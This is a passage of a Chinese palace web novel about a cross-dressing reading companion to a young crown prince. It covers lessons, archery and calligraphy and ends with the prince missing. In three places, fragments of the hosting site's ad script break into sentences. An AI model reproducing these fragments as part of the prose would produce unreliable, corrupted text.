他若是只小狗,恐怕此时尾巴都摇到天上去了。 “好嘞,不过……”叶帘堂应了,此时又话锋一转,装作为难道:“不过,臣为救那胡姬,欠下了好些银子……” 李意卿小手一摆,“一会儿去和隆生说要多少,我替你还了。” 叶帘堂看着他,终于明白宫人为何总将他看作珍宝一样爱惜——当他的手下简直不要太爽好吗!! 叶帘堂一个没忍住,上手揉了揉他的脑袋,感动道:“太子殿下,臣愿为你肝脑涂地!” 李意卿抱着被揉乱的脑袋,一手将她推开,“哎,你做什么呢!” 叶帘堂傻笑两声,当即于心中决定,在自己立稳脚跟之前,就老老实实地抱紧太子殿下这颗大树。 虽然这颗大树目前看来高度还有所欠缺…… * 天色渐暗,半轮山月隐隐从天边探出头来。 李意卿拽着叶帘堂玩得晚了,错过了出宫的时辰,便让人在东宫收拾了“翠居”供他休息。 翠居,院如其名,是一处拥有大片竹林的的小院。 一踏进院子,便能瞧见墙院有一脚小溪涓涓,绕过另一侧的翠绿竹林流向外头。 竹林静谧,月光从上浇下,漏出柔和的光影。清风拂过,竹叶间相互摩挲发出的“沙沙”声更是能令人心境平和。 叶帘堂此刻面对着所谓的皇家园林,纵然不想表现得像个乡巴佬,但一时间还是忍不住东瞧瞧,西看看。 小院中间摆着几个褐漆大缸,里头立了些许绿色小尖,不知道是养着什么。 许是瞧见了她的目光,带路的小黄门解释道:“那是太子殿下专门搜罗来送给叶大人的。” 叶帘堂凑近看了看,问:“荷花?” “是。”那人回答。 给叶帘堂带路的小黄门名叫陶青,看起来同她差不多年纪,眉眼寡淡,为人也沉默寡言,不大起眼。 “那里是陛下亲笔提的‘翠居’二字。” 叶帘堂顺着陶青的目光向上看去,见正门上悬着一幅横匾,上头“翠居”二字写的十分秀美。 倒是符合她对明昭帝的印象,一笔的温和端雅,不显锋芒。 陶青惯会察言观色,待叶帘堂将这院子里里外外观摩完毕,才出声道:“大人,这边来。” 转过墙角,叶帘堂闻到一股沁人心脾的梨花香。 只见眼前汤池如镜,池面铺着满满的梨花瓣,自下而上氤氲着袅袅热气。池水如白玉一般温润透彻,在月光下泛出柔和的涟漪。 “这里便是供大人沐浴去尘的汤池。”陶青慢慢道:“里头搁了沉香、紫檀、真珠、木瓜花一系药材,能助大人缓解疲劳。” 这这这。 叶帘堂这时终于瞠目结舌,心中暗叹:“这就是大周闻名于世的汤浴么,也太奢侈豪华了吧……” 如今她区区一介次品侍读都能享受到这待遇,可想而知皇室内部到底过着怎样奢靡的生活…… 眼见一旁的小宫女要上前来伺候她脱衣,叶帘堂急忙避开,红着脸捂住领口道:“都,都下去吧,我自己来!” “是。”陶青立刻差遣一众宫女们退下,轻声道:“大人早些休息,咱家就在外头候着。” 叶帘堂眼观鼻,鼻观心地应了一声,陶青便低眉退了出去。 如此,叶帘堂在翠居住了第一宿,一觉睡至寅时。第二日换上绛纱帷裳,拢好发冠,銙上配水苍玉,便算是人模狗样的上任了。 皇子们上课的地方位于东宫崇文馆,设有学士、直学士、校书等一众官员,课业则由柳琮柳太师负责教授。 叶帘堂到的时候虽然时辰尚早,不过已经有宫人打扫了宫殿院落,煮水烹茶了。她刚刚寻了个角落坐下,便有宫人双手奉上茶水。 叶帘堂在蒲团上怎么坐怎么不得劲,最后还是去帮宫人挑拣茶叶。没办法,要她坐在这里享着旁人的伺候,内心实在是不安。 宫人们见她如此,心里头也十分不安,就在二者相互的拉扯推脱间,崇文馆终于迎来了今日的第二位学生。 只见一男子身着藏青袍子,脚下飞快,身后的宫人提着书盒狼狈地追。 小黄门陶青附在叶帘堂耳边说:“这是四皇子。” 叶帘堂暗暗点头,起身相迎,道:“四殿下。” 四皇子李意乾似乎没想到殿里有人,脚步一顿,将叶帘堂上上下下打量一番。他眼形窄长,眼角上挑,眉毛又呈剑状,因此显得不怎么友善。 叶帘堂被这目光冷冷一扫,登时有些悚然。 只听李意乾问:“咦?你是谁?” 叶帘堂拱手回道:“在下兖州贡士叶悬逸,太子侍读。” “如此。”李意乾点了点头,忽问:“你在这待了多久?” 叶帘堂一愣,有些摸不着头脑,但还是老实回道:“差不多是一盏茶的功夫。” “什么!”李意乾不知为何惊叫出声,目光陡然锐利了起来,愤道:“那么你寅时三刻便来了?” “……是。” 李意乾登时冷笑一声不再理她,目不斜视地从她身边走过,恨恨地选了殿内最中间的位子,他低声嘟囔:“竟来得比我早,真是……” 叶帘堂一时有些手足无措,尴尬间,忽有一人跨步走进,叹道:“小四,你又是如此早便到了?可真是刻苦勤奋呐!” 陶青见状立刻靠近悄声道:“这位是三皇子。” 叶帘堂心下一抖,据传言这三皇子是个不好相与的,更别提她前些日子刚得罪了三皇子最宠信的奚官白石。 虽然小太子嘴里说着没事,但叶帘堂这心里还是有些放不下。 她颤颤巍巍地转身,道:“ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 三殿下。” 三皇子李意骏闻言,目光滴溜溜在她身上一转,叶帘堂莫名感到有些阴森的不舒服。 只见李意骏挑起一边嘴角,皮笑肉不笑地问:“你就是五弟新挑来的侍读?” 叶帘堂不欲与他多谈,便简单答道:“是。” 李意骏闻言凑近了些,似乎是颇有兴趣,“你叫什么名字?” 不过叶帘堂感觉他的兴趣像是恶狼看见猎物时的那种兴趣,她本能地想后退,但最后还是忍住了,笔直地站在原地回道:“叶悬逸。” “哦,原来是悬逸兄。”李意骏点了点头,生硬地挤出一个笑容,“你好。” 叶帘堂瞅着他这副阴森诡异的长相,当即决定以后要离他远些,能不同他讲话就不讲。 没过多久,小太子李意卿便众星捧月地出了场。 他打着哈欠走进崇文馆,先是同李意骏寒暄了一番,便一屁股坐在叶帘堂旁边,毫不见外地吃她桌上的点心,咕咕哝哝地向她抱怨这晨课的时间实在是不合理。 这头柳太师已经坐定,喝茶润嗓后才缓声道:“今日晨课,诸生齐诵《礼记》。” “是!太傅!” 只听一声嘹亮的回答,四皇子李意乾已将课本端端正正地捧了起来。 老头儿满意地点了点头,指尖拈着书页,摇头晃脑地开始领读,一个字拖到两个字长,尾音也被拖欠出调皮的颤音。 一时间,除了柳太傅缓慢甬长的拖音,便是四皇子李意乾专注嘹亮的跟读。 叶帘堂默默听了一会儿,只觉得上下眼皮有开始打架的趋势,想着这是自己第一天上任,连忙挥散自己一头的瞌睡虫,坐直了身子跟着李意乾念。 终于,柳太师用着他那一波三折的语调念完第一遍,慢条斯理地端起茶杯润了润嗓子,然后在叶帘堂充满期待的目光中,捋着胡子慢慢道:“好,我们再念一次。” 叶侍读有些绝望。 李意骏坐在另一侧角落早已睡得昏天黑地,而李意卿坐在一旁的木桌前,手托下巴,似是已经灵魂出窍。 察觉到她的目光,李意卿侧目看来,眼中一亮,挥着笔杆子在纸上写了什么,偷偷向她抛来。 太子这字写得颇为龙飞凤舞,叶帘堂认了半天,才勉强看出,是太子说东宫到了新奇玩意儿,叫她课后一同去看。 叶帘堂也期待着下课,便不动声色地点了点头。 李意卿正面向她乐儿,不知怎的被台上那领读的老头瞅见了,沉声道:“太子殿下,何事如此开心,不如同老身也分享分享?” 小太子闻言面色一僵,抿了抿嘴。 柳太师冷哼一声,“既如此,你来领着读书吧。” 李意卿只好站起身,迎着四皇子李意乾羡慕的目光,花了将近一个时辰,才将那《礼记》读到令柳太师满意。 好在柳老头终于大发慈悲地道了一声“下学”,让这漫长又折磨的时光告一段落。 李意骏还没醒,叶帘堂见李意乾从书箱里掏出个什么本,喊道:“太师,你快瞧瞧我新写的文章!” 而剩下她和太子正打算脚底抹油开溜,忽见一个内侍快步走来,禀道:“太子殿下,柳太师让您稍留,他要抽查功课。” “如此。”叶帘堂有些幸灾乐祸道:“那在下先走一步了。” 语罢,她便在李意卿悲痛欲绝的目光中扬长而去。 5. 角弓 午时,叶帘堂找李意卿一同用饭。 明德殿内,小太子看见她,先是眼睛一亮,后面色又蓦地沉下去,重重“哼”了一声。 叶帘堂觉得有些好笑,便故意道:“殿下生气了?那在下改日再来。” 语罢,转身时目光扫过李意卿,见他微微起身,张了张嘴。另一旁的隆生便急忙追了上来,笑道:“叶大人,我们殿下可想叶大人了,大人就进来陪殿下说说话吧。” 李意卿偷偷瞥着她,见叶帘堂转过身忙收回目光,又轻轻哼了一声。 叶帘堂暗暗叹气,这职位不仅除了陪读陪玩,还要想方设法地哄太子高兴,想来不应该叫侍读,该叫保姆才是。 她只得转身走回,向李意卿笑笑,意味深长道:“在下偶然听得了个有趣的故事,不知太子殿下可曾听过道士捉妖?” 李意卿撅着嘴,本来心中委屈愤懑的不行,却见叶帘堂凑近绽出个春风一般温煦的浅笑,这风好似从胸口拂过,吹散了心底大片怒火。 他呆愣片刻,慢吞吞开口问:“怎么?” 叶帘堂连眉带眼全都弯了一弯,仿佛一对黑白分明的钩子,瞧着李意卿却并不搭腔,颇有故弄玄虚的意味。 李意卿原本心底就好奇,如今叶帘堂专门和他卖关子,他明知是坑却还是坐不住,纠结了半响还是一脚踏了进去,问道:“这是什么故事?” 叶帘堂嘿嘿笑:“前几日我在西市买了几册话本,里头讲了好些这类故事,待明日进宫拿给你看。” “哦,原是如此。” 李意卿用力压住上挑的嘴角,倨傲地抬起下巴,留给叶帘堂一个“勉为其难”的侧脸,像是在说“既然你如此说,本太子大恩大德这次便勉强应了你的请求”。 叶帘堂瞧着他稚嫩的小脸,忍住了上手掐一把的念头,心中默念:“大人不和小孩一般见识……” 转眼,见后院厨房端上了菜,她定睛一瞧,口水差点流出来,道:“怎么还有兖州的糖醋鲤鱼!” 这边李意卿瞥了一眼她,昂头哼道:“大惊小怪。” 叶帘堂泪水口水横流,手中筷子跃跃欲试,心中感动想道:“感谢小孩哥的恩赐。” 她当即一挥衣袖,豪横道:“殿下,今日柳太师罚你抄的《礼记》,我替你抄一半!” “当真?” “当真!” 李意卿终于不再板着个脸,连平日里最不爱喝的桂花酸梅汤此时都多尝了几口。 * 一静应搭配以一动。 上午念了书,下午便教习骑射。 诺大的皇家校场里,由羽林将军韩筠亲自负责教导。 见宫人上前,双手奉上一把长弓给韩将军。 叶帘堂只觉精神一振,她从小就是听着江湖各类舞刀弄枪的故事长大,纵然不曾接触过,但内心深处对于这种骑马射箭,百步穿杨的场面还是很向往的。 长弓很漂亮,以桑柘木为主要材料,弓臂宽阔,两端细长,弓角上绘有虎皮纹饰。 叶帘堂瞧得两眼放光,只感觉自己下一瞬便能获得一剑霜寒十四州的力量。 只见韩将军左手持弓,右手勾弦,脊骨线条透过单衣一直弯进后腰里……叶帘堂急忙将视线转移到他的动作上。 弓弦惊裂,羽箭破风掠过,正中靶心。 “哇!”叶帘堂不受控制地感叹出声,心道:“一套小连招也太丝滑太飒爽了吧,我也要学我也要学!” 其他皇子们都开始搭弓练习,韩将军看一眼叶帘堂的细胳膊细腿,在她饱含期待的目光中为她选了一把短小精巧的稍弓。 叶帘堂:“……” 她方才萌芽的挽长弓,射大雕之梦,就这样破碎在了这把短小的稍弓之下。 许是看出她内心所想,韩将军抬手在她头顶拍了一下,唤回叶帘堂早已飘远的思绪。 “切莫小看任何一种弓箭。”韩将军扭头喊道:“——三殿下!” 李意骏放下弓,朝着这边走来。 韩将军将稍弓递了过去,道:“你来演示一下。” 只见李意骏依言接过,敛气站定,利利索索地搭弓瞄准,竟没了早晨时那股子吊儿郎当的劲儿,反倒显露出几分少年人的意气风发来。 李意骏背挺得笔直,随之羽箭破风而出,有股所向披靡的锐气。 还不等叶帘堂回过神来,就见三皇子笑嘻嘻地转过头来,“如何啊,悬逸兄?” 得,少年将军眨眼又变回了吊儿郎当的纨绔渣滓。 叶帘堂默默无语地拿回角弓,在韩将军的指导下,开弓、靠弦、瞄准、撒放这一系列动作重复了一炷香的时间,放松时忽觉腰酸背痛,一直持弓的手臂也在微微颤抖。 看来这具身体还真是缺乏锻炼。 无奈下,叶帘只得退出训练,坐在一旁的帐下喝茶休息,顺便看了一会儿皇子们练习。 李意骏仍是拿弓时板着脸,放下后又嬉皮笑脸。 倒是反观早晨积极好学得四皇子李意乾,此时耷拉个脑袋,没精打采地擦拭着自己的长弓。 叶帘堂的目光转了一圈,最后落在了小太子身上。 李意卿背光立在流水般的春日光景里,她看不真切,便用手指卷起自帐顶垂下的纱帘,堆叠在手心。 他皮肤白,眼睛像是粼粼的湖面,最妙的便是他眉间的那颗朱砂痣。 叶帘堂私心排除掉他长残的可能性,想着再过几年,李意卿便能从漂亮的美少年出落成清俊矜贵的美男子,到了那时不知要多招小姑娘喜欢。 她默默感叹一声,在微风吹拂间合上眼,竟浅浅睡了过去。 不知过了多久,叶帘堂忽觉面上有一种飞絮拂面的轻痒之感,猛地睁开眼。 只见李意卿的脸近在咫尺,被她睁眼后吓得向后跳开。 叶帘堂无奈地揉了揉脸颊,问:“殿下又在玩什么?” 李意卿不好意思地笑了笑,将藏在身后的右手拿了出来,手心躺着一把刻花小尺。 “方才我发现悬逸你的脸似乎要比旁人都小,就想着量一量,看看到底是怎么回事……” 叶帘堂撑着藤椅起身时不幸牵连到疲惫的肩颈,酸痛得龇牙咧嘴,无语道:“殿下还真是闲得慌。” 李意卿扶住她,道:“你睡得有些久,眼下宫门快要落锁,我替你备了马车,你动作得快些。” 叶帘堂扶着腰,闻言慌道:“那你怎么不早些叫醒我!” “这不是看你睡得太香……” 待叶帘堂一瘸一拐地上了马车,李意卿撩开车帘,嘱咐道:“记得明日给我带道士捉妖的话本子,还有!记得替我抄一半的《礼记》!” 叶帘堂摆了摆手,无奈道:“没忘,放 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 你一百个心吧。” * 出了宫门,叶帘堂背着一包袱小太子先前特意叮嘱为她装好的各色水果零嘴,正打算去芙蓉酒肆还账。 谁料转眼便见一道人影向着她跑来。 “公子,公子等等!” 叶帘堂疑惑间站定,女子跑到她面前摘下斗笠,露出那双葡萄酒一般透亮的大眼睛——原是昨日救下的那位胡姬。 叶帘堂怕是那白石在她走后又来找这胡人娘子的麻烦,急忙问:“发生何事了?” 胡姬眨巴着大眼睛,道:“公子,我叫契荣。” 叶帘堂有些不明白她的意思,应道:“好,契荣姑娘。” 见契荣仍盯着自己,叶帘堂这才反应过来,解释道:“姑娘放心,我替你赎身并无所求,你从今往后自可随意行走,不必跟着我。” 契荣似乎没有听懂,上前两步抓住叶帘堂的袖子,蹙眉道:“公子不要我?” “不是,我……” “公子,就让我跟着您吧。”契荣打断她,有些慌张道:“我会洗衣、做饭、整理卧铺,可以将您的屋舍收拾的干干净净。” “我不需……” “我还会唱歌跳舞,若您无聊可以给您解解闷!” “这也不必。” “公子不相信,我歌唱的很不错的!” 语罢,那胡姬真张开嘴,眼瞅着便要一展歌喉。 “我知晓,没有不相信!”叶帘堂急忙打断她,道:“只是我独来独往惯了,不需你替我做什么。” “我舞跳的也不错,现下就跳给你看!” 叶帘堂此时终于明白,这胡姬是个一根筋,若不答应她,恐怕要在这一直耗下去。 但答应?笑话。先不说她现下作为太子侍读,要是身边天天带个美姬得遭多少弹劾,更重要的是她也是个女子啊! 这胡姬能不能信赖暂且不议,即使可以信赖,看她这直言不讳的个性,叶帘堂总感觉这事迟早会给她捅出去,到了那时自己可不仅仅是遭弹劾那么简单了。 她叹了口气,问:“你为什么非要和我走?” “因为公子救了我,我喜欢公子。” 契荣说这话时双颊微红,但不是女子寻常那般羞涩含怯的神情,反而自是一派大大方方的热情与天真。 可叹叶帘堂总自负心有妙笔一杆,这时居然干不过一个连汉语都讲不通畅的文盲。 她叹一口气,不知忽然间想到了什么,抬眼时已经带上点点笑意:“既如此,我也同你说实话,赎你出来的其实不是我,而是……” 叶帘堂向契荣招了招手,示意她跟上。 既然甩不掉,那便干脆带去芙蓉酒肆,让她在童姣手底下给酒肆打打杂,用自己的劳力去还那一笔缠头报。 这样一来她也用不上小太子送来的那笔银子了……毕竟不是个小数目。 叶帘堂自问是个手脚健全的大人,向个才十几岁的初中生小孩要钱,心里头最终还是过意不去。 就这么想想的功夫,二人便已经踏进了芙蓉酒肆的大门。 童姣笑意盈盈的迎了上来,嗔道:“公子不来,小女总觉得冷清许多呢。” 叶帘堂闻言,笑嘻嘻地将身后的契荣推至身前,挡住了随童姣身姿而来的一大团花香,道:“我知晓你孤单,这不送来个美人陪你聊天。” 6. 书法 一听这话,童姣便蹙紧了眉,活像没骨头似的往身后的雕花椅背上一靠,眼皮半垂,打量着面前二人。 半晌,才慢吞吞道:“叶公子,她可是你出门一趟捡回来的,何故往我这塞?” 叶帘堂有求于人,笑着拉过契荣,介绍道:“哦,这位是契荣。不仅手脚麻利,还会洗衣、烧柴、收拾庭院,就是汉语说得不大好。如今嘛,是想在这里做工还账。” 童姣细眉一挑,目光慢悠悠转向契荣,动了动指尖:“过来我看看。” 她态度轻慢,契荣有些紧张地看了一眼叶帘堂,见她轻轻点头,便视死如归一般走上前。 童姣起身探了探手,契荣只觉自己仿佛置身于花田,被一股浓郁馥丽的茉莉花香兜了满身,她鼻子一痒,快要憋不住喷嚏。 只见童姣眼疾手快地避了开来,在三步之外悠悠然然地将契荣从头到脚扫了一遍,偏过头问:“你将她从酒楼赎出来,最终又将她带进酒楼,何必呢?” 叶帘堂挠了挠头,道:“起码在你这,她便不再是供人玩笑的舞姬了……总归是不一样的。” 童姣又相马似的将她前前后后都打量一遍,大约因这契荣长得实在漂亮,轻轻点了个头,向叶帘堂道:“留是能留,不过……” 她娇然一笑,“她的工钱都得抵账,吃穿住行也都得公子自掏腰包。” 叶帘堂眼角抽了抽,但一想是自己将人赎出来的,狠下心沉痛道:“……该是如此。” 童姣满意地轻笑一声,转身吩咐道:“那个,小雪儿,让她和你住一间,以后你来教她酿酒。” 阆京的天慢慢暗了下来,街道两侧已经挑上了灯笼。 待叶帘堂替契荣将一切都安顿好,给童姣留了颗金桃,便披上外袍,准备走了。 童姣扶着酒壶,见状有些疑惑,“这便要走?” 叶帘堂净过手,应了一声。 “小女当日承诺过,公子若出贡便请酒席。如今虽说还未放榜,可公子得了份好差事,与出贡无异,自是要庆祝的。” “哎,可别。”叶帘堂一边系披风一边笑,“我可承不起童大娘子的请。” 童姣闻言白了她一眼,靠在一旁抚了抚花髻,嘟囔道:“如今你是高升了,已然看不起小女这种酒家。” “切莫这样想。”叶帘堂站在门口,被夜风鼓动了袖袍,她回头笑道:“今夜不便,我可是有要务在身。” 童姣拿起桌上的金桃掂了掂,撇了撇嘴,问:“什么要务?” 头顶星河如练,月光如纱般披了叶帘堂满身。她站在熙攘红火的夜市里冲着童姣笑,“替贵人抄课文!” * 叶帘堂回了客栈,敞开半扇窗,于漆黑小室里点亮一根蜡烛。 如今快至五月,天慢慢闷热起来,蚊虫也愈发猖狂。 叶帘堂在床头帷帐挂了个薄荷香包,又在桌角放了个铁盘,里头烧着艾草。 置办好这一切,她才从书箱里掏了课本,备好纸砚,凝神润墨,毛笔落至纸面发出细微的声响。 但若有人在一旁便能看到,她虽姿态摆得端正,屏息静气的颇有大家风范,但那落在纸上的墨痕却不受控制的东倒西歪。 叶帘堂默默叹了口气,就算自己动作再小心如绣花,写出来的字也依然如同狗啃。 …… 翌日天刚蒙蒙亮,叶帘堂便起身了。她拢好发冠,罩着件月白宽袍,临案收拾好书本纸张,又从枕头底下拿了话本塞进书箱。 来到崇文馆时便见四皇子李意乾已经坐定,瞧见她后挑衅一笑,端端正正地将书本摆放整齐。 叶帘堂低头笑笑,陶青上前给她沏了杯鲜茶,悄声道:“四殿下最为勤奋,见不得旁人比他到的早。” “瞧得出来。”叶帘堂接过茶杯,弯了弯眼角,“他这爱好还蛮有趣的。” 陶青同叶帘堂相处几天,觉得她人温润随和,语气也亲近随意了许多,“对了,叶大人,太子殿下说您昨日替他抄了半篇《礼记》?” 一说到这,叶帘堂不禁回忆起自己那手鸡爪一般的字。柳太师除非眼瞎,否则一看便知不是太子自己写的…… 想到此处,她有些不自然地用指节蹭了蹭鬓角。 见她这副模样,陶青不慎磕着了茶壶,忙问:“大人没抄?” 叶帘堂替他拨上盖,道:“抄了,方才已经让隆生同太子殿下的一起送去柳太师那里了。”说完却略微有些汗颜。 “那便好。”陶青将茶壶放回桌面,捂着心口道:“今日休朝,陛下一大早便去往太师处,说是要看看太子殿下平日里的功课。” 叶帘堂一口热茶刚刚进嘴,一听这话又差点喷出来。 “你说陛下会看?!” “是啊,怎么了?” 叶帘堂指尖一抖,那琉璃茶盏便“啪”一声滚到了桌面。 “大人?” 叶帘堂猛地站起身,欲哭无泪地抓着陶青道:“太师的居室在哪?快带我去!” * 这头李意卿刚刚梳洗完毕,便见隆生慌慌张张地从侧门跑进,禀道:“殿下,陛下召您去翠微馆觐见。” “翠微馆?父亲怎么去了那儿?”李意卿穿好鞋,忽然抬头问:“叶悬逸替我将《礼记》抄好了吗?” “已经与殿下的一同交上去了。” “行。”李意卿拢好披风,“这便去。” 李意卿到时,看宫人们都侯在檐下,个个噤若寒蝉。他没怎么在意,掀开竹帘便走了进去。 屋内岑寂,他还没开口,便见纸页纷飞,同课本一起劈头盖脸地砸了过来。 李意卿急忙向左边一跳,这才险险避开。还没搞清楚情况,便听明昭帝沉声问道:“李意卿,你可知错?” 李意卿心中慌乱,慌忙跪下,道:“父……父亲?” 只听内室柳太师叹一口气,缓缓起身,“陛下,想必太子殿下只是一时糊涂。” “糊涂?”明昭帝冷笑一声,缓走至李意卿身前,道:“你同我承诺,说只要将叶悬逸派于你做侍读,从此便勤奋上进,用心念书。” “朕应了你,你呢?” 语罢,明昭帝将几张纸页掷于他面前,“看看。” 李意卿不瞧不知道,一瞧便被叶帘堂那笔狗啃一般的字吓了一跳。脑海中浮现出昨日叶帘堂连拍胸脯向他保证抄书的场景,他一时有些分不清那人究竟是想帮他还是想害他。 内心苦笑一声,李意卿以头扣地,道:“儿臣知错,儿臣不该让……” “你瞧瞧你的字!”明昭帝实在忍不住,出声道:“前面几页还算是好,写到后面便看得出来,浮躁!” “如此浮躁,如何能成大器?” 嗯?李意卿脑袋空白了一瞬。 “从今日起,你下了课便再去练习两个时辰的书法。”明昭帝背过手,“若下次朕再看见你不好好写字,便以藤条笞手。” 语罢,明昭帝带领一众宫人,气势汹汹地离开了翠微馆。 如此,李意卿又在翠微馆听了柳太师长至一个时辰的训话后,才怒气冲冲地回到了崇文馆。 这头叶帘堂 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 摸去翠微馆听了半个时辰的墙角,发现事情与自己无关后,又偷偷摸摸地跑了回来。 没坐多久,便见小太子的脸快气成和朱砂痣一个颜色,额上的青筋都突了出来,看这架势是恨不得扑上来把她掐个半死。 叶帘堂见他面色不善,只好僵硬地冲他笑笑,讨好道:“太子殿下,我今日带了你想看的话本。” 不想小太子不发一言地朝她逼近,就在叶帘堂准备接受他那一腔邪火时,只听前头两声重咳,原是柳太师来了。 “太子殿下,回到自己的位子。” 见状,叶帘堂微微松了口气,心里盘算着一到放课就立刻离开这里,免得被李意卿这颗不定时炸弹波及。 李意卿像是猜中她心中所想,大跨两步凑近,凶巴巴道:“叶悬逸,你一会儿要是敢跑,看我怎么收拾你!” 叶帘堂不大乐意,本来全当没听见,但转念一想自己这事确实办的不厚道,最后还是老老实实留了下来。 李意卿到底还是年纪小,骂人也不会骂。叶帘堂用着几本话本子外加许诺晚上一同练字,便将他哄了个七八分好。 可真到了夜里练字的时间,叶帘堂却是分外的痛苦。 她本来秉持着“得过且过”的初心前来,却发现这太子连练字旁边都得有人守着看,今夜值守的便是跟着柳太师的一位助教。 这位助教不仅说话像柳太师,连教习方法也是同柳太师一样不近人情,连叶帘堂这个临时被拉来的也得做他布置的课业。 叶帘堂在书法方面是个不折不扣的绣花枕头,那凳子上像是长了钉子,她怎么都坐不住。 她像是被什么附身了一般,要么写着写着说灯光太暗,要么就是要出恭,一会儿说自己渴了,一会儿又嫌夜里闷热没风,自己快要喘不过气来。 她还时常走神,时常要东张西望,时常打瞌睡,反正心思全然不在练字上面。 助教恨铁不成钢地说她心浮气躁,叶帘堂也自觉失态,只好硬忍着拿起笔,鞭尸似的在字帖上练习着横平竖直。 而李意卿平日看起来任性贪玩,但毕竟作为太子,认真起来,是完全能做到一心一意,全神贯注的。 叶帘堂百无聊赖地侧过头,便见他一动不动地坐在蒲团上,提握狼毫,悬腕而书。端的是一派两耳不闻窗外事,一心唯在字间游。 居室幽雅,满屋墨香。 李意卿一笔一划皆游刃有余,不滞不涩,字字珠玑,行行锦绣,偶然运出败笔也不气馁,反而更加仔细的揣摩笔意墨韵,力求精益求精。 叶帘堂默默看了一会儿,认命似的再次拿起毛笔,做起千篇一律的练习。 待助教合掌查验时,她才骤然回过神,发现一个时辰的书法已经结束,而自己顺利完成了所有课业,纸页上的字迹肉眼可见的整齐了许多。 转过头,李意卿正笑着看她。 往后的几天都是这样,清早,她同诸位皇子一起听柳太师那乏味至极的文书课业,午时同太子一起用饭,练习骑射。 到了夜里便随着太子一同写字,大部分时间都宿在翠居,偶尔同李意卿讲几个稀奇古怪的民间故事。 虽然书法课在叶帘堂看来是比上柳太师的课程更加生无可恋的,然而不能否认,在李意卿的带领下,自己那笔字偶尔也不像是鸡爪挠过的,反而有种狗爪子按出来的工整之感。 这一天,叶帘堂随李意卿练完了字,出门却瞧见三皇子李意骏坐在门口。 见着她便吹了声哨,问:“悬逸兄,日日跟着小五不腻吗,不如明儿跟我去玩?” 7. 城北 叶帘堂向是见着李意骏就跑的,要究其原因,一是因着她曾经得罪过这位三皇子的手下,二是她觉得三皇子心术不正,双眼里总像是怀着鬼胎,让她下意识想避开。 今日这李意骏不知吃错了什么药,竟专门来此寻她。 “喂,什么叫和‘我呆在一起不腻吗’?”李意卿双手叉腰,不愤气道,“我们俩玩得好着呢!” 他看一眼太子,又将目光转到叶帘堂身上,这三皇子是个薄嘴唇,嘴角时常挑着,不笑也带着三分笑意,看起来越发像肚子里憋着什么坏水。道:“悬逸兄,据说城北新起了家武器铺,里头定有不少长弓利刃……” 他说到这里故意停了停,似笑非笑地看着叶帘堂,像是在等她接话。 这李意骏最多十七八岁,叶帘堂看他跟看着自家不成器的捣蛋鬼侄子一般,敷衍道:“是吗。” “据说那铁匠庞氏可是个实打实的炼铁高手。”李意骏装模做样地皱了下眉,“若是不能真刀实剑的舞一舞,想来这练习做得再多,也都只是强身健体,没什么大用。” 话说到这里,叶帘堂算是听明白了。 那城北是什么地方,是个小偷强盗满地跑的地界儿。这三皇子分明是自己想去又不敢,要找个替死鬼为他开路。 她才不会上钩。 叶帘堂对上李意骏的目光,开口道:“三殿下的意思是?” 李意骏仍然要笑不笑地盯着她,越发不像好东西。 叶帘堂轻笑一声,拱了拱手道:“那便祝殿下能够早日得偿所愿,趁早买到一把趁手的武器。” 见叶帘堂一直不松口,李意骏便上前几步,继续道:“悬逸兄,我见你对兵法武器略有见解,不想过去看上一看?” 叶帘堂摇了摇头,回:“三殿下有所不知,那城北可不是常人能去的地方。” “啧。”李意骏眼皮抽了抽,上前一把揽过她的肩膀,低声道:“你怎么这样一根筋,要是不敢去,我派人跟着你!” 叶帘堂依旧不搭腔。 李意骏眼见着要七窍生烟,却还硬装出一副理解的神色来,假模假样道:“原想着悬逸兄是个有勇之人,如今看来却是……罢了,趁手的武器迟早都能得到,犯不着专去那里走一趟。” 他说完还斜眼觑着她,阴阳怪气道:“是吧,悬逸兄?” 叶帘堂皮笑肉不笑,“三殿下说得是呢。” 李意卿在一旁听了半天,终于忍不住问:“你们说什么,城北为何不是常人能去的地方?” 这小太子一瞧就是被保护的太好,缺乏社会实践。 “小孩子别瞎打听。”李意骏计谋不成,正在气头上,说完冷冷瞪一眼叶帘堂,甩着袖子便走了。 李意卿皱着眉转过头,看着叶帘堂问:“怎么了?” 叶帘堂见连三皇子都不欲他参与这事,仰头打了个哈欠,简单回道:“那里有些乱……好了,现下夜色已深,太子殿下还是早些歇息吧。” 语罢背着身子挥了挥手,向着翠居走去。 却没想这一走,第二日便没再见到李意卿的踪影。 * 李意卿失踪了。 起初大家以为太子殿下是睡过了头,便差人去叫,却没想隆生慌慌张张地跑来,说殿下不见了。 “上课途中,殿下忽然说落了东西在宫内,非要自个儿回去取还不叫人跟着,咱家便遣了小冬子远远的跟在后头。可谁知,殿下进了东宫便一直没出来……”隆生越说越急,险些就要哭出来,“小冬子在外头候了半天,原想进去请,却没想,里头早就不见殿下的身影!” 晨课不再进行,连一向不大走动的柳太师都急得健步如飞了起来,领着一众宫人将整个东宫翻了个遍,也没找着人 叶帘堂立在廊下等候问话,脑中回忆着李意卿可能去哪,猛然想起昨日他问过城北的事。登即吓出一身冷汗,叫四皇子快快将这桩事禀告给明昭帝,自己问李意骏借马,先行往城北赶。 她皱起眉头,明昭帝登基尚不足五年,根基不稳,对于宫禁此类事务一向疏于管理。若是那小太子想偷偷溜出宫去,也不是不可能…… 如今城北事态混乱,若李意卿真就自己偷偷跑去了城北,多耽搁一秒都有可能出事。 四皇子李意乾没有废话,立刻往雪芸殿赶去。 三皇子闻言,脸色骤然一变,立刻牵了两匹宝马来,要同叶帘堂一齐赶往。 叶帘堂板着脸,沉声道:“带几个身上有功夫的一同去,不要太多。对了,衣服也要换下,不可穿得过于招摇” 李意骏急忙点头,“没错,没错。” 他昨晚确实没安好心,原是想找叶帘堂先替自己探探路,这新来的侍读头脑机灵,遇事也大抵是能解决的……可他却从未想过,李意卿将这事听了进去。 若是此番他遭遇不测……李意骏脸色惨白,甩了甩马缰,催得宝马四蹄飞快。 两个不大靠谱的半大少年带着五六侍卫,很快便赶到了北郊。 